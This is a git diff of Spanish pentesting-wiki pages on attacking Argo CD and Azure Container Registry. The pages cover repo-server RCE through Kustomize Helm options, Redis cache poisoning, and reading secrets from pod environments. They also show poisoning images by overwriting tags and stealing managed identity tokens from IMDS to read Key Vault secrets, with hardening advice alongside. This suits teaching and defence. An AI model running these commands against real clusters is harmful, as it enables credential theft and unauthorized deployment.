diff --git a/scripts/__pycache__/translator.cpython-312.pyc b/scripts/__pycache__/translator.cpython-312.pyc deleted file mode 100644 index 928e13a34..000000000 Binary files a/scripts/__pycache__/translator.cpython-312.pyc and /dev/null differ diff --git a/src/pentesting-ci-cd/argocd-security.md b/src/pentesting-ci-cd/argocd-security.md index 7926d7233..361f0f695 100644 --- a/src/pentesting-ci-cd/argocd-security.md +++ b/src/pentesting-ci-cd/argocd-security.md @@ -1,17 +1,17 @@ -# Argo CD Security +# Seguridad de Argo CD {{#include ../banners/hacktricks-training.md}} ## Información básica -[Argo CD](https://argo-cd.readthedocs.io/) es una plataforma de continuous delivery GitOps para Kubernetes. Supervisa repositorios Git, renderiza manifiestos de Kubernetes con herramientas como Helm, Kustomize, Jsonnet o config management plugins, y reconcilia el estado real del cluster con el estado deseado almacenado en Git. +[Argo CD](https://argo-cd.readthedocs.io/) es una plataforma de continuous delivery basada en GitOps para Kubernetes. Supervisa repositorios Git, renderiza manifiestos de Kubernetes con herramientas como Helm, Kustomize, Jsonnet o plugins de gestión de configuración, y reconcilia el estado del clúster activo con el estado deseado almacenado en Git. -Desde la perspectiva de un atacante, trata Argo CD como un **deployment engine con credenciales de Kubernetes**. Un compromiso útil de Argo CD puede llevar a: +Desde la perspectiva de un atacante, considera Argo CD como un **motor de despliegue con credenciales de Kubernetes**. Un compromiso útil de Argo CD puede proporcionar: -- Acceso a repositorios Git privados y credenciales de repositorio. -- Acceso a secretos del cluster de Kubernetes usados por Argo CD. -- Ejecución de código en la generación de manifiestos en `argocd-repo-server`. -- Despliegue no autorizado de objetos de Kubernetes mediante repositorios Git de confianza, aplicaciones de Argo CD o manipulación de caché. +- Acceso a repositorios Git privados y a las credenciales de los repositorios. +- Acceso a los secrets del clúster de Kubernetes utilizados por Argo CD. +- Ejecución de código durante la generación de manifiestos en `argocd-repo-server`. +- Despliegue no autorizado de objetos de Kubernetes mediante repositorios Git de confianza, aplicaciones de Argo CD o manipulación de la caché. ## Arquitectura y componentes interesantes @@ -25,20 +25,20 @@ kubectl get networkpolicy -n argocd 2>/dev/null Servicios interesantes: - **`argocd-server`**: API pública, interfaz web, API de CLI, autenticación y autorización. -- **`argocd-application-controller`**: compara el estado deseado y el estado activo, luego aplica recursos a Kubernetes. -- **`argocd-repo-server`**: clona repositorios, cachea datos de Git y ejecuta Helm/Kustomize/Jsonnet/plugins para generar manifests. El puerto gRPC por defecto es **8081**. -- **`argocd-redis`**: cache para datos de application, manifest y referencias de Git. El puerto Redis por defecto es **6379**. -- **`argocd-applicationset-controller`**: genera objetos Argo CD `Application` a partir de generators como Git, SCM, clusters y pull requests. +- **`argocd-application-controller`**: compara el estado deseado y el estado actual, y luego aplica los recursos a Kubernetes. +- **`argocd-repo-server`**: clona repositorios, almacena en caché los datos de Git y ejecuta Helm/Kustomize/Jsonnet/plugins para generar manifests. El puerto gRPC predeterminado es **8081**. +- **`argocd-redis`**: caché para los datos de aplicaciones, manifests y referencias de Git. El puerto Redis predeterminado es **6379**. +- **`argocd-applicationset-controller`**: genera objetos `Application` de Argo CD a partir de generators como Git, SCM, clusters y pull requests. -Desde un pod comprometido o un segmento de red interno, comprueba la accesibilidad interna: +Desde un pod comprometido o un segmento de red interno, comprueba la reachability interna: ```bash nc -vz 443 nc -vz 8081 nc -vz 6379 ``` -## Ataques a la API pública / UI +## Ataques a la API / UI pública -Si tienes credenciales de Argo CD o una instancia expuesta, empieza con la superficie normal de la API: +Si tienes credenciales de Argo CD o una instancia expuesta, comienza con la superficie de API habitual: ```bash argocd login argocd account get-user-info @@ -51,13 +51,13 @@ argocd admin settings rbac can ``` Rutas de ataque útiles: -- **Application write access**: modifica `source.repoURL`, `source.path`, valores de Helm, opciones de Kustomize, settings de plugins u opciones de sync para que Argo CD despliegue manifests controlados por el atacante. -- **Project misconfiguration**: los objetos `AppProject` pueden permitir `sourceRepos` amplios, `destinations` amplios, `clusterResourceWhitelist` inseguro o restricciones de namespace débiles. -- **Repository credential abuse**: los secretos de repository, credenciales de GitHub App, claves SSH y tokens pueden permitir hacer push a repos confiables o añadir dependencias maliciosas. -- **Cluster credential abuse**: los secretos de cluster pueden contener bearer tokens o configuración de exec-provider usada por Argo CD para desplegar en clusters de destino. -- **Local admin / project tokens**: los tokens de Argo CD de larga duración pueden reutilizarse a través de la API salvo que sean revocados o expiren. +- **Application write access**: modifica `source.repoURL`, `source.path`, los valores de Helm, las opciones de Kustomize, la configuración de plugins o las opciones de sincronización para que Argo CD despliegue manifests controlados por el atacante. +- **Project misconfiguration**: los objetos `AppProject` pueden permitir `sourceRepos` amplios, `destinations` amplios, un `clusterResourceWhitelist` inseguro o restricciones de namespace débiles. +- **Repository credential abuse**: los secrets de repositorio, las credenciales de GitHub App, las claves SSH y los tokens pueden permitir hacer push a repositorios de confianza o añadir dependencias maliciosas. +- **Cluster credential abuse**: los secrets de cluster pueden contener bearer tokens o una configuración de exec-provider utilizada por Argo CD para desplegar en clusters objetivo. +- **Local admin / project tokens**: los tokens de Argo CD de larga duración pueden reutilizarse mediante la API si no se revocan o expiran. -Enumera la configuración desde Kubernetes cuando tengas cluster read access: +Enumera la configuración desde Kubernetes cuando tengas acceso de lectura al cluster: ```bash kubectl get applications.argoproj.io -A -o yaml kubectl get appprojects.argoproj.io -A -o yaml @@ -67,24 +67,24 @@ kubectl get cm -n argocd argocd-cm argocd-rbac-cm argocd-cmd-params-cm -o yaml ``` ## Trusted Git Repository Abuse -Si puedes hacer push a un repository en el que Argo CD confía, normalmente puedes influir en lo que se despliega. El impacto depende de los límites de `AppProject` y de los permisos de service account usados por el application controller. +Si puedes hacer push a un repositorio trusted por Argo CD, normalmente puedes influir en lo que se despliega. El impacto depende de los límites de `AppProject` y de los permisos del service account utilizados por el application controller. -Ubicaciones comunes del payload: +Ubicaciones comunes de payloads: -- Raw Kubernetes YAML bajo una ruta de la application. -- Plantillas de Helm chart y `values.yaml`. +- YAML de Kubernetes sin procesar bajo una ruta de aplicación. +- Templates de Helm chart y `values.yaml`. - Overlays de Kustomize, remote bases y generators. -- Entrada de Jsonnet o de config management plugin. -- Archivos generator de ApplicationSet que crean o actualizan objetos `Application`. +- Entrada de Jsonnet o de un config management plugin. +- Archivos de generator de ApplicationSet que crean o actualizan objetos `Application`. -Comprueba si la app usa automated sync, pruning, self-heal, sync windows o manual approvals: +Comprueba si la aplicación utiliza automated sync, pruning, self-heal, sync windows o aprobaciones manuales: ```bash kubectl get applications.argoproj.io -A \ -o custom-columns='NS:.metadata.namespace,APP:.metadata.name,PROJECT:.spec.project,AUTOSYNC:.spec.syncPolicy.automated,REPO:.spec.source.repoURL,PATH:.spec.source.path,DEST:.spec.destination.server' ``` ## Abuso directo de `argocd-repo-server` -No asumas que la API pública de Argo CD es la única superficie de ataque. Los componentes internos de Argo CD se comunican con `argocd-repo-server` mediante gRPC. Si pods arbitrarios pueden alcanzar repo-server, las requests internas controladas por un atacante pueden saltarse controles que normalmente impone `argocd-server`. +No asumas que la API pública de Argo CD es la única superficie de ataque. Los componentes internos de Argo CD se comunican con `argocd-repo-server` mediante gRPC. Si pods arbitrarios pueden alcanzar repo-server, las solicitudes internas controladas por el atacante podrían eludir las comprobaciones aplicadas normalmente por `argocd-server`. Comprobaciones prácticas: ```bash @@ -94,38 +94,38 @@ nc -vz 8081 ``` Señales interesantes: -- El endpoint gRPC de repo-server es accesible desde pods que no son de Argo CD. -- Faltan NetworkPolicies o solo permiten egress mediante allow-list sin denegar ingress. -- El repo-server tiene acceso a custom config management plugins, herramientas de decryption o contenido de repository de múltiples tenants. -- Redis es accesible desde pods que no son de Argo CD, lo que permite inspección o manipulación de la cache si las credentials están disponibles o no se requieren. +- El endpoint gRPC de repo-server es accesible desde pods que no pertenecen a Argo CD. +- Faltan NetworkPolicies o solo permiten el tráfico de salida mediante una allow-list sin denegar el tráfico de entrada. +- repo-server tiene acceso a custom config management plugins, herramientas de decryption o contenido de repositorios de múltiples tenants. +- Redis es accesible desde pods que no pertenecen a Argo CD, lo que permite inspeccionar o manipular la caché si las credenciales están disponibles o no son necesarias. -## Unauthenticated Repo-Server RCE via Kustomize Options +## RCE no autenticado en Repo-Server mediante opciones de Kustomize -En julio de 2026, Synacktiv divulgó una cadena de ejecución de código no autenticada en `repo-server` de Argo CD cuando un atacante puede alcanzar el servicio gRPC interno. El ataque abusa del acceso directo a `/repository.RepoServerService/GenerateManifest` y de `KustomizeOptions` controladas por el atacante. +En julio de 2026, Synacktiv divulgó una cadena de ejecución de código no autenticada en el `repo-server` de Argo CD cuando un atacante puede acceder al servicio gRPC interno. El ataque abusa del acceso directo a `/repository.RepoServerService/GenerateManifest` y de opciones `KustomizeOptions` controladas por el atacante. -El primitive peligroso es forzar a repo-server a clonar contenido de repository controlado por el atacante y ejecutar Kustomize con soporte de Helm: +La primitiva peligrosa consiste en forzar a repo-server a clonar contenido de un repositorio controlado por el atacante y ejecutar Kustomize con soporte para Helm: ```bash kustomize build --enable-helm --helm-command ./payload.sh ``` -Entrada maliciosa mínima de Kustomize necesita activar el procesamiento de Helm: +La entrada mínima maliciosa de Kustomize debe activar el procesamiento de Helm: ```yaml helmCharts: - name: pwn version: 0.0.1 ``` -Por qué esto funciona: +Por qué funciona: -- `argocd-repo-server` clona el repository antes de renderizar. -- `--helm-command ./payload.sh` se resuelve relativo al repository clonado. -- La ejecución de code no requiere inyección de metacharacters de shell si el attacker puede controlar el rendered repository y las Kustomize build options. +- `argocd-repo-server` clona el repositorio antes de hacer el rendering. +- `--helm-command ./payload.sh` se resuelve de forma relativa al repositorio clonado. +- La ejecución de código no requiere inyección de metacaracteres de shell si el atacante puede controlar el repositorio renderizado y las opciones de build de Kustomize. -En el momento de la divulgación de Synacktiv del 1 de julio de 2026, informaron que el issue no tenía fix oficial ni CVE. Trata esto primero como un issue de network-exposure: la explotación requiere reachability al puerto gRPC interno de `repo-server`. +En el momento de la divulgación de Synacktiv, el 1 de julio de 2026, informaron que el problema no tenía ningún fix oficial ni CVE. Trátalo primero como un problema de exposición de red: la explotación requiere reachability al puerto gRPC interno de `repo-server`. -## Redis Cache Poisoning to Deploy Manifests +## Redis Cache Poisoning para desplegar manifests -Después de code execution en `argocd-repo-server`, o después de acceso directo a Redis con credenciales válidas, inspecciona las cache entries respaldadas por Redis. Argo CD comúnmente almacena valores JSON comprimidos con gzip. +Después de obtener ejecución de código en `argocd-repo-server`, o tras acceder directamente a Redis con credenciales válidas, inspecciona las entradas del cache respaldadas por Redis. Argo CD suele almacenar valores JSON comprimidos con gzip. -Prefijos de key interesantes: +Prefijos de claves interesantes: ```text mfst|... # cached rendered manifests git-refs|... # Git branch/ref to commit mappings @@ -134,35 +134,35 @@ cluster|... # cluster cache information ``` El ataque de cache poisoning descrito por Synacktiv abusa de dos piezas de estado: -1. Modificar la entrada de cache de manifiesto `mfst|...` relevante para incluir un Kubernetes manifest controlado por el atacante. -2. Modificar el mapeo `git-refs|...` relacionado para que Argo CD crea que la rama se movió y luego vuelva a reconciliar con la revisión en cache. +1. Modificar la entrada de cache del manifest `mfst|...` correspondiente para incluir un manifest de Kubernetes controlado por el atacante. +2. Modificar el mapping relacionado `git-refs|...` para que Argo CD crea que la branch ha cambiado y luego reconcilie de nuevo con la revisión almacenada en cache. Impacto: -- Con Auto Sync habilitado, Argo CD puede aplicar automáticamente el cached manifest envenenado. +- Con Auto Sync habilitado, Argo CD puede aplicar automáticamente el manifest envenenado almacenado en cache. - Sin Auto Sync, el payload aún puede aplicarse cuando un usuario sincroniza manualmente la aplicación. - El impacto final está limitado por el destino de la aplicación objetivo y los permisos de Kubernetes disponibles para Argo CD. -## ApplicationSet Attacks +## Attacks de ApplicationSet -ApplicationSet es especialmente sensible porque crea o actualiza objetos `Application` a partir de la salida del generator. +ApplicationSet es especialmente sensible porque crea o actualiza objetos `Application` a partir del output del generator. -Review: +Revisión: ```bash kubectl get applicationsets.argoproj.io -A -o yaml kubectl get appprojects.argoproj.io -A -o yaml ``` Patrones interesantes: -- Generadores de git que leen archivos escribibles por el atacante y que controlan nombres de apps, paths, projects o destinations. -- Generadores de pull request para repositorios públicos donde contributors no confiables pueden influir en las aplicaciones generadas. -- Campos de template que permiten broad destination clusters/namespaces. -- AppProjects que permiten `sourceRepos: ["*"]` o broad `destinations`. -- Applications generadas que heredan automated sync y pruning. +- Git generators que leen archivos modificables por el atacante y que controlan nombres de apps, rutas, proyectos o destinos. +- Pull request generators para repositorios públicos donde colaboradores no confiables pueden influir en las apps generadas. +- Campos de plantillas que permiten clusters/namspaces de destino amplios. +- AppProjects que permiten `sourceRepos: ["*"]` o `destinations` amplios. +- Aplicaciones generadas que heredan la sincronización y la poda automatizadas. ## Post-Exploitation -Desde un shell del pod de Argo CD, prioriza: +Desde un shell de pod de Argo CD, prioriza: ```bash env cat /proc/1/environ 2>/dev/null | tr '\0' '\n' @@ -171,49 +171,50 @@ mount | grep -E 'secret|token|config' ``` Objetivos útiles: -- Robar `REDIS_PASSWORD` o material TLS/client de Redis. -- Extraer credenciales de repositorio desde secrets montados o Argo CD Kubernetes secrets. -- Identificar credenciales de cluster usadas por Argo CD. -- Leer manifests generados y salida de plugins que puedan incluir secrets inyectados. -- Comprobar si custom plugins, SOPS, Helm secrets, Vault plugins o cloud CLIs exponen decryption keys y cloud credentials. +- Robar `REDIS_PASSWORD` o material TLS/cliente de Redis. +- Extraer credenciales de repositorios desde secrets montados o secrets de Kubernetes de Argo CD. +- Identificar las credenciales del cluster utilizadas por Argo CD. +- Leer manifests generados y el output de plugins que puedan incluir secrets inyectados. +- Comprobar si los plugins personalizados, SOPS, Helm secrets, plugins de Vault o CLIs de cloud exponen claves de descifrado y credenciales de cloud. -## Detection & Hardening +## Detección y hardening Comprobaciones importantes: -- Restringe el puerto **8081** de `argocd-repo-server` y el puerto **6379** de Redis con NetworkPolicies para que solo los componentes esperados de Argo CD puedan पहुंचarlos. -- En despliegues con Helm, verifica que las network policies se creen realmente. Los valores del Helm chart de Argo CD históricamente han dejado deshabilitada por defecto la creación de network policy para componentes. -- Mantén `argocd-server` como punto de entrada autenticado. Los servicios internos no deben ser accesibles desde workloads arbitrarios. -- Deshabilita herramientas y plugins de config management no usados. -- Restringe `AppProject` `sourceRepos`, `destinations`, permisos de namespace y recursos con ámbito de cluster. -- Evita almacenar credenciales de repositorio demasiado amplias donde un usuario de Argo CD con pocos privilegios pueda provocar su reutilización. -- Monitoriza requests a repo-server, Kustomize build options, ejecuciones de plugins, escrituras en Redis y accesos inesperados a claves `mfst|` / `git-refs|`. -- Rota usuarios locales de Argo CD, tokens de proyecto, credenciales de repositorio y credenciales de cluster después de un compromiso. +- Restringir los puertos **8081** de `argocd-repo-server` y **6379** de Redis con NetworkPolicies, de modo que solo los componentes esperados de Argo CD puedan acceder a ellos. +- En deployments de Helm, verificar que las network policies se creen realmente. Los valores del Helm chart de Argo CD han tenido históricamente deshabilitada por defecto la creación de network policies para los componentes. +- Mantener `argocd-server` como entry point autenticado. Los servicios internos no deberían ser accesibles desde workloads arbitrarios. +- Deshabilitar las herramientas y plugins de gestión de configuración que no se utilicen. +- Restringir `sourceRepos`, `destinations`, los permisos sobre namespaces y los recursos con alcance de cluster de `AppProject`. +- Evitar almacenar credenciales amplias de repositorios donde un usuario de Argo CD con pocos privilegios pueda provocar su reutilización. +- Monitorizar las requests al repo-server, las opciones de build de Kustomize, las ejecuciones de plugins, las escrituras en Redis y los accesos inesperados a las claves `mfst|` / `git-refs|`. +- Rotar los usuarios locales de Argo CD, los tokens de proyecto, las credenciales de repositorios y las credenciales del cluster después de un compromiso. -Useful commands: +Comandos útiles: ```bash kubectl get networkpolicy -n argocd kubectl get networkpolicy -A | grep -i argocd kubectl describe networkpolicy -n argocd argocd-repo-server-network-policy 2>/dev/null kubectl describe networkpolicy -n argocd argocd-redis-network-policy 2>/dev/null ``` -## Static Analysis Note: Typed API Requests in CodeQL +## Nota de Static Analysis: solicitudes API tipadas en CodeQL -Para servicios Go que usan handlers gRPC/REST, las remote sources predeterminadas de CodeQL pueden perder flows una vez que la entrada raw se ha unmarshaled en typed request objects. Un modelo útil para servicios estilo Argo CD es: +Para servicios Go que usan handlers gRPC/REST, las remote sources predeterminadas de CodeQL pueden omitir los flows una vez que el input sin procesar se ha deserializado en objetos de solicitud tipados. Un modelo útil para servicios de estilo Argo CD es: -- Receiver type como `Server` o `Service`. +- Tipo del receiver, como `Server` o `Service`. - El primer parámetro es `context.Context`. -- El segundo parámetro es un typed request object. +- El segundo parámetro es un objeto de solicitud tipado. -Modela ese segundo parámetro como una remote source y añade custom sinks para argumentos de `exec.Command` / `exec.CommandContext`. Esto ayuda a encontrar flows desde campos de internal API request hacia command execution helpers. +Modela ese segundo parámetro como una remote source y añade custom sinks para los argumentos de `exec.Command` / `exec.CommandContext`. Esto ayuda a encontrar flows desde campos de solicitudes API internas hasta helpers de ejecución de comandos. -## References +## Referencias -- [Synacktiv - Caught in the Octopus Trap: Unauthenticated RCE in Argo CD with CodeQL](https://www.synacktiv.com/en/publications/caught-in-the-octopus-trap-unauthenticated-rce-in-argo-cd-with-codeql) -- [Argo CD docs - Security considerations](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/) -- [Argo CD docs - High Availability](https://argo-cd.readthedocs.io/en/stable/operator-manual/high_availability/) -- [Argo CD docs - repo-server command reference](https://argo-cd.readthedocs.io/en/stable/operator-manual/server-commands/argocd-repo-server/) -- [Argo CD - repo-server NetworkPolicy manifest](https://github.com/argoproj/argo-cd/blob/master/manifests/base/repo-server/argocd-repo-server-network-policy.yaml) -- [Argo CD docs - metrics](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/) -- [Argo Helm - chart values reference](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md) -- [Kustomize - Helm chart generator example](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md) +- [Synacktiv - Atrapado en la trampa de Octopus: RCE no autenticada en Argo CD con CodeQL](https://www.synacktiv.com/en/publications/caught-in-the-octopus-trap-unauthenticated-rce-in-argo-cd-with-codeql) +- [Documentación de Argo CD - Consideraciones de seguridad](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/) +- [Documentación de Argo CD - Alta disponibilidad](https://argo-cd.readthedocs.io/en/stable/operator-manual/high_availability/) +- [Documentación de Argo CD - Referencia de comandos de repo-server](https://argo-cd.readthedocs.io/en/stable/operator-manual/server-commands/argocd-repo-server/) +- [Argo CD - Manifest de NetworkPolicy de repo-server](https://github.com/argoproj/argo-cd/blob/master/manifests/base/repo-server/argocd-repo-server-network-policy.yaml) +- [Documentación de Argo CD - Métricas](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/) +- [Argo Helm - Referencia de valores del chart](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md) +- [Kustomize - Ejemplo de generador de charts de Helm](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md) +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md index e1b0f6447..ed71bf4d6 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md @@ -1,4 +1,4 @@ -# Az - Post-explotación +# Az - Post Exploitation {{#include ../../../banners/hacktricks-training.md}} @@ -6,4 +6,8 @@ az-azure-ai-foundry-post-exploitation.md {{#endref}} +{{#ref}} +az-container-registry-post-exploitation.md +{{#endref}} + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md new file mode 100644 index 000000000..b70670f05 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md @@ -0,0 +1,87 @@ +# Az - Container Registry Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Container Registry + +Para obtener más información sobre este servicio, consulta: + +{{#ref}} +../az-services/az-container-registry.md +{{#endref}} + +### `Microsoft.ContainerRegistry/registries/listCredentials/action`, `Microsoft.ContainerRegistry/registries/write` + +Una identidad con acceso al plano de administración de ACR puede convertir ese acceso en **credenciales de Docker reutilizables**. Si el **usuario admin** está deshabilitado, pero la entidad de seguridad también tiene `registries/write`, habilítalo, recupera las contraseñas y autentícate directamente contra `.azurecr.io`. +```bash +az acr show --resource-group --name --query adminUserEnabled +az acr update --resource-group --name --admin-enabled true +az acr credential show -n +docker login .azurecr.io -u -p +``` +Esto es útil porque las credenciales recuperadas pueden reutilizarse fuera de Azure CLI para **listar, pull, push, sobrescribir y, en ocasiones, eliminar** contenido del registry hasta que la cuenta de administrador se deshabilite o se roten las contraseñas. + +### `Microsoft.ContainerRegistry/registries/pull/read` + +Usa el acceso pull para el **reconocimiento de repositorios** y la **búsqueda de secretos** dentro de las imágenes. Revisa tanto la configuración final del contenedor como las capas históricas del sistema de archivos, ya que los archivos copiados en una capa pueden seguir siendo recuperables aunque se eliminen posteriormente. +```bash +az acr repository list -n +az acr repository show-tags -n --repository --detail +docker pull .azurecr.io/: + +container_id=$(docker create .azurecr.io/:) +docker cp "$container_id":/ ./extracted_container +docker rm "$container_id" +docker inspect .azurecr.io/: | jq -r '.[0].Config.Env[]?' +dive .azurecr.io/: +``` +Los objetivos de alto valor incluyen **variables de entorno**, **configuraciones de aplicaciones**, **scripts de deployment**, **certificados**, **tokens de acceso** y **cadenas de conexión**. Para obtener más ideas al revisar las capas, consulta la página de Docker forensics: + +{{#ref}} +https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html +{{#endref}} + +### `Microsoft.ContainerRegistry/registries/push/write` + +El acceso de **push** permite a un atacante **envenenar repositorios de confianza** o **sobrescribir tags mutables** como `latest`, `prod` o `stable`. Cualquier workload que todavía haga deployment mediante un tag en lugar de un digest puede descargar la imagen del atacante durante el siguiente deployment, evento de scale-out o reinicio. +```bash +# Retag an existing local image for the target ACR + +docker tag : .azurecr.io/: +docker push .azurecr.io/: + +# If your workstation architecture differs from the target runtime, build for the consumer platform first + +docker buildx build --platform linux/amd64 -t .azurecr.io/: --load . +docker push .azurecr.io/: +``` +Antes de reemplazar un tag, verifica qué repositorios y tags consume realmente cada workload posterior. Los consumidores **fijados por digest** (`@sha256:...`) son mucho más difíciles de redirigir que los consumidores basados en tags. + +### `Microsoft.ContainerRegistry/registries/push/write`, `Microsoft.ContainerInstance/containerGroups/restart/action` + +Si puedes **reemplazar la imagen** utilizada por un workload de contenedor posterior y **reiniciar** ese workload, el entrypoint malicioso se ejecuta dentro del **contexto de red y de managed identity** del contenedor objetivo. Desde allí, la imagen puede solicitar tokens a IMDS y acceder a los recursos de Azure a los que dicha identidad del workload tenga acceso. +```bash +TOKEN=$(curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' | jq -r .access_token) +curl -H "Authorization: Bearer $TOKEN" \ +'https://.vault.azure.net/secrets/?api-version=7.4' +az container restart --resource-group --name +``` +Esto convierte el **code execution**, el **secret theft** o el **lateral movement** mediante la sobrescritura de un tag de ACR dentro de cualquier consumer de contenedores que confíe en el tag modificado y exponga una identidad útil. + +### Ruta de privesc relacionada: managed identities de ACR Tasks + +Si también tienes `Microsoft.ContainerRegistry/registries/tasks/write` y `Microsoft.ContainerRegistry/registries/runs/write`, continúa por la ruta de privesc de ACR y abusa directamente de la managed identity de la task: + +{{#ref}} +../az-privilege-escalation/az-container-registry-privesc.md +{{#endref}} + +## Referencias + +- [TrustedSec - Pandora's Container Part 1: Desempaquetando Azure Container Security](https://trustedsec.com/blog/pandoras-container-part-1-unpacking-azure-container-security) +- [Microsoft Learn - Autenticación de Azure Container Registry](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication) +- [Microsoft Learn - az acr credential](https://learn.microsoft.com/en-us/cli/azure/acr/credential?view=azure-cli-latest) +- [Microsoft Learn - az acr repository](https://learn.microsoft.com/en-us/cli/azure/acr/repository?view=azure-cli-latest) +- [Microsoft Learn - Referencia YAML de ACR Tasks](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-reference-yaml) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md index 207846e06..e36b733d5 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md +++ b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md @@ -2,39 +2,39 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Información básica -Azure Container Registry (ACR) es un registry privado y seguro que te permite **store, manage, and access container images in the Azure cloud**. Se integra sin problemas con varios servicios de Azure, proporcionando workflows automatizados de build y deployment a escala. Con funciones como geo-replication y vulnerability scanning, ACR ayuda a garantizar seguridad y compliance de nivel enterprise para aplicaciones containerized. +Azure Container Registry (ACR) es un registro privado y seguro que permite **almacenar, administrar y acceder a imágenes de contenedores en Azure cloud**. Se integra fácilmente con varios servicios de Azure, proporcionando flujos de trabajo automatizados de build y deployment a escala. Con funcionalidades como geo-replication y vulnerability scanning, ACR ayuda a garantizar la seguridad y el cumplimiento de nivel empresarial para aplicaciones containerizadas. -### Permissions +### Permisos -Estos son los **different permissions** [according to the docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) que se pueden otorgar sobre un Container Registry: +Estos son los **diferentes permisos** [según la documentación](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) que se pueden otorgar sobre un Container Registry: -- Access Resource Manager -- Create/delete registry -- Push image -- Pull image -- Delete image data -- Change policies -- Sign images +- Acceder a Resource Manager +- Crear/eliminar registry +- Hacer push de una imagen +- Hacer pull de una imagen +- Eliminar datos de una imagen +- Cambiar policies +- Firmar imágenes -También hay algunos **built-in roles** que se pueden asignar, y también es posible crear **custom roles**. +También hay algunos **built-in roles** que se pueden asignar y también es posible crear **custom roles**. -![Azure Container Registry built-in roles permissions matrix for managing registry, image, data, policies, and signing actions](/images/registry_roles.png) +![Matriz de permisos de los built-in roles de Azure Container Registry para administrar acciones de registry, imagen, datos, policies y signing](/images/registry_roles.png) -### Authentication +### Autenticación > [!WARNING] -> Es muy imporatant que incluso si el nombre del registry contiene algunas letras mayúsculas, siempre debes usar **lowercase letters** para login, push y pull images. +> Es muy importante que, aunque el nombre del registry contenga letras mayúsculas, siempre se utilicen **letras minúsculas** para hacer login, push y pull de imágenes. -Hay 4 formas de authenticate a un ACR: +Hay 4 formas de autenticarse en un ACR: -- **With Entra ID**: Esta es la forma **default** de authenticate a un ACR. Usa el comando **`az acr login`** para authenticate al ACR. Este comando **almacenará las credenciales** en el archivo **`~/.docker/config.json`**. Además, si ejecutas este comando desde un entorno sin acceso a un docker socket como en un **cloud shell**, es posible usar el flag **`--expose-token`** para obtener el **token** y authenticate al ACR. Entonces, para authenticate necesitas usar como nombre de usuario `00000000-0000-0000-0000-000000000000` así: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` -- **With an admin account**: El usuario admin está disabled por defecto, pero se puede enable y entonces será posible acceder al registry con el **username** y **password** de la cuenta admin con permisos completos sobre el registry. Esto todavía está supported porque algunos servicios de Azure lo usan. Ten en cuenta que se crean **2 passwords** para este usuario y ambos son válidos. Puedes habilitarlo con `az acr update -n --admin-enabled true`. Ten en cuenta que el username suele ser el nombre del registry (y no `admin`). -- **With a token**: Es posible crear un **token** con un **specific `scope map`** (permissions) para acceder al registry. Entonces, es posible usar el nombre del token como username y cualquiera de las passwords generadas para authenticate al registry con `docker login -u -p ` -- **With a Service Principal**: Es posible crear un **service principal** y asignar un role como **`AcrPull`** para pull images. Entonces, será posible **login to the registry** usando el appId del SP como username y un secret generado como password. +- **Con Entra ID**: Esta es la forma **predeterminada** de autenticarse en un ACR. Utiliza el comando **`az acr login`** para autenticarse en el ACR. Este comando **almacenará las credenciales** en el archivo **`~/.docker/config.json`**. Además, si ejecutas este comando desde un entorno sin acceso a un socket de Docker, como un **cloud shell**, es posible utilizar el flag **`--expose-token`** para obtener el **token** con el que autenticarse en el ACR. Después, para autenticarse, es necesario utilizar como nombre de usuario `00000000-0000-0000-0000-000000000000`, como en: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` +- **Con una cuenta de admin**: El usuario admin está deshabilitado de forma predeterminada, pero se puede habilitar y entonces será posible acceder al registry con el **username** y la **password** de la cuenta de admin, con permisos completos sobre el registry. Esto todavía es compatible porque algunos servicios de Azure lo utilizan. Ten en cuenta que se crean **2 passwords** para este usuario y ambas son válidas. Puedes habilitarlo con `az acr update -n --admin-enabled true`. Ten en cuenta que el username normalmente es el nombre del registry (y no `admin`). +- **Con un token**: Es posible crear un **token** con un **`scope map`** específico (permisos) para acceder al registry. Después, es posible utilizar el nombre del token como username y cualquiera de las passwords generadas para autenticarse en el registry con `docker login -u -p ` +- **Con un Service Principal**: Es posible crear un **service principal** y asignarle un rol como **`AcrPull`** para hacer pull de imágenes. Después, será posible **hacer login en el registry** utilizando el appId del SP como username y un secret generado como password. -Example script from the [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) to generate a SP with access over a registry: +Script de ejemplo de la [documentación](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) para generar un SP con acceso a un registry: ```bash #!/bin/bash ACR_NAME=$containerRegistry @@ -49,41 +49,41 